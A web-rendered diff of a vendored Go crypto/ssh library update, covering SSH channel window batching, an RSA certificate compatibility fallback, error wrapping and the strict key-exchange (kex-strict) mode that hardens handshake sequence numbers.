View File
@@ -2,8 +2,6 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build go1.9
package blake2b
import (
+20 -8
View File
@@ -187,9 +187,11 @@ type channel struct {
pending *buffer
extPending *buffer
// windowMu protects myWindow, the flow-control window.
windowMu sync.Mutex
myWindow uint32
// windowMu protects myWindow, the flow-control window, and myConsumed,
// the number of bytes consumed since we last increased myWindow
windowMu sync.Mutex
myWindow uint32
myConsumed uint32
// writeMu serializes calls to mux.conn.writePacket() and
// protects sentClose and packetPool. This mutex must be
@@ -332,14 +334,24 @@ func (ch *channel) handleData(packet []byte) error {
return nil
}
func (c *channel) adjustWindow(n uint32) error {
func (c *channel) adjustWindow(adj uint32) error {
c.windowMu.Lock()
// Since myWindow is managed on our side, and can never exceed
// the initial window setting, we don't worry about overflow.
c.myWindow += uint32(n)
// Since myConsumed and myWindow are managed on our side, and can never
// exceed the initial window setting, we don't worry about overflow.
c.myConsumed += adj
var sendAdj uint32
if (channelWindowSize-c.myWindow > 3*c.maxIncomingPayload) ||
(c.myWindow < channelWindowSize/2) {
sendAdj = c.myConsumed
c.myConsumed = 0
c.myWindow += sendAdj
}
c.windowMu.Unlock()
if sendAdj == 0 {
return nil
}
return c.sendMessage(windowAdjustMsg{
AdditionalBytes: uint32(n),
AdditionalBytes: sendAdj,
})
}
+1 -1
View File
@@ -82,7 +82,7 @@ func NewClientConn(c net.Conn, addr string, config *ClientConfig) (Conn, <-chan
if err := conn.clientHandshake(addr, &fullConf); err != nil {
c.Close()
return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %v", err)
return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %w", err)
}
conn.mux = newMux(conn.transport)
return conn, conn.mux.incomingChannels, conn.mux.incomingRequests, nil
+19 -1
View File
@@ -307,7 +307,10 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand
}
var methods []string
var errSigAlgo error
for _, signer := range signers {
origSignersLen := len(signers)
for idx := 0; idx < len(signers); idx++ {
signer := signers[idx]
pub := signer.PublicKey()
as, algo, err := pickSignatureAlgorithm(signer, extensions)
if err != nil && errSigAlgo == nil {
@@ -321,6 +324,21 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand
if err != nil {
return authFailure, nil, err
}
// OpenSSH 7.2-7.7 advertises support for rsa-sha2-256 and rsa-sha2-512
// in the "server-sig-algs" extension but doesn't support these
// algorithms for certificate authentication, so if the server rejects
// the key try to use the obtained algorithm as if "server-sig-algs" had
// not been implemented if supported from the algorithm signer.
if !ok && idx < origSignersLen && isRSACert(algo) && algo != CertAlgoRSAv01 {
if contains(as.Algorithms(), KeyAlgoRSA) {
// We retry using the compat algorithm after all signers have
// been tried normally.
signers = append(signers, &multiAlgorithmSigner{
AlgorithmSigner: as,
supportedAlgorithms: []string{KeyAlgoRSA},
})
}
}
if !ok {
continue
}
+8
View File
@@ -127,6 +127,14 @@ func isRSA(algo string) bool {
return contains(algos, underlyingAlgo(algo))
}
func isRSACert(algo string) bool {
_, ok := certKeyAlgoNames[algo]
if !ok {
return false
}
return isRSA(algo)
}
// supportedPubKeyAuthAlgos specifies the supported client public key
// authentication algorithms. Note that this doesn't include certificate types
// since those use the underlying algorithm. This list is sent to the client if
+52 -4
View File
@@ -35,6 +35,16 @@ type keyingTransport interface {
// direction will be effected if a msgNewKeys message is sent
// or received.
prepareKeyChange(*algorithms, *kexResult) error
// setStrictMode sets the strict KEX mode, notably triggering
// sequence number resets on sending or receiving msgNewKeys.
// If the sequence number is already > 1 when setStrictMode
// is called, an error is returned.
setStrictMode() error
// setInitialKEXDone indicates to the transport that the initial key exchange
// was completed
setInitialKEXDone()
}
// handshakeTransport implements rekeying on top of a keyingTransport
@@ -100,6 +110,10 @@ type handshakeTransport struct {
// The session ID or nil if first kex did not complete yet.
sessionID []byte
// strictMode indicates if the other side of the handshake indicated
// that we should be following the strict KEX protocol restrictions.
strictMode bool
}
type pendingKex struct {
@@ -209,7 +223,10 @@ func (t *handshakeTransport) readLoop() {
close(t.incoming)
break
}
if p[0] == msgIgnore || p[0] == msgDebug {
// If this is the first kex, and strict KEX mode is enabled,
// we don't ignore any messages, as they may be used to manipulate
// the packet sequence numbers.
if !(t.sessionID == nil && t.strictMode) && (p[0] == msgIgnore || p[0] == msgDebug) {
continue
}
t.incoming <- p
@@ -441,6 +458,11 @@ func (t *handshakeTransport) readOnePacket(first bool) ([]byte, error) {
return successPacket, nil
}
const (
kexStrictClient = "[email protected]"
kexStrictServer = "[email protected]"
)
// sendKexInit sends a key change message.
func (t *handshakeTransport) sendKexInit() error {
t.mu.Lock()
@@ -454,7 +476,6 @@ func (t *handshakeTransport) sendKexInit() error {
}
msg := &kexInitMsg{
KexAlgos: t.config.KeyExchanges,
CiphersClientServer: t.config.Ciphers,
CiphersServerClient: t.config.Ciphers,
MACsClientServer: t.config.MACs,
@@ -464,6 +485,13 @@ func (t *handshakeTransport) sendKexInit() error {
}
io.ReadFull(rand.Reader, msg.Cookie[:])
// We mutate the KexAlgos slice, in order to add the kex-strict extension algorithm,
// and possibly to add the ext-info extension algorithm. Since the slice may be the
// user owned KeyExchanges, we create our own slice in order to avoid using user
// owned memory by mistake.
msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+2) // room for kex-strict and ext-info
msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
isServer := len(t.hostKeys) > 0
if isServer {
for _, k := range t.hostKeys {
@@ -488,17 +516,24 @@ func (t *handshakeTransport) sendKexInit() error {
msg.ServerHostKeyAlgos = append(msg.ServerHostKeyAlgos, keyFormat)
}
}
if t.sessionID == nil {
msg.KexAlgos = append(msg.KexAlgos, kexStrictServer)
}
} else {
msg.ServerHostKeyAlgos = t.hostKeyAlgorithms
// As a client we opt in to receiving SSH_MSG_EXT_INFO so we know what
// algorithms the server supports for public key authentication. See RFC
// 8308, Section 2.1.
//
// We also send the strict KEX mode extension algorithm, in order to opt
// into the strict KEX mode.
if firstKeyExchange := t.sessionID == nil; firstKeyExchange {
msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1)
msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
msg.KexAlgos = append(msg.KexAlgos, "ext-info-c")
msg.KexAlgos = append(msg.KexAlgos, kexStrictClient)
}
}
packet := Marshal(msg)
@@ -604,6 +639,13 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
return err
}
if t.sessionID == nil && ((isClient && contains(serverInit.KexAlgos, kexStrictServer)) || (!isClient && contains(clientInit.KexAlgos, kexStrictClient))) {
t.strictMode = true
if err := t.conn.setStrictMode(); err != nil {
return err
}
}
// We don't send FirstKexFollows, but we handle receiving it.
//
// RFC 4253 section 7 defines the kex and the agreement method for
@@ -679,6 +721,12 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
return unexpectedMessageError(msgNewKeys, packet[0])
}
if firstKeyExchange {
// Indicates to the transport that the first key exchange is completed
// after receiving SSH_MSG_NEWKEYS.
t.conn.setInitialKEXDone()
}
return nil
}
Loaded 100 of 134 files, more files were not shown because too many files have changed in this diff. Show more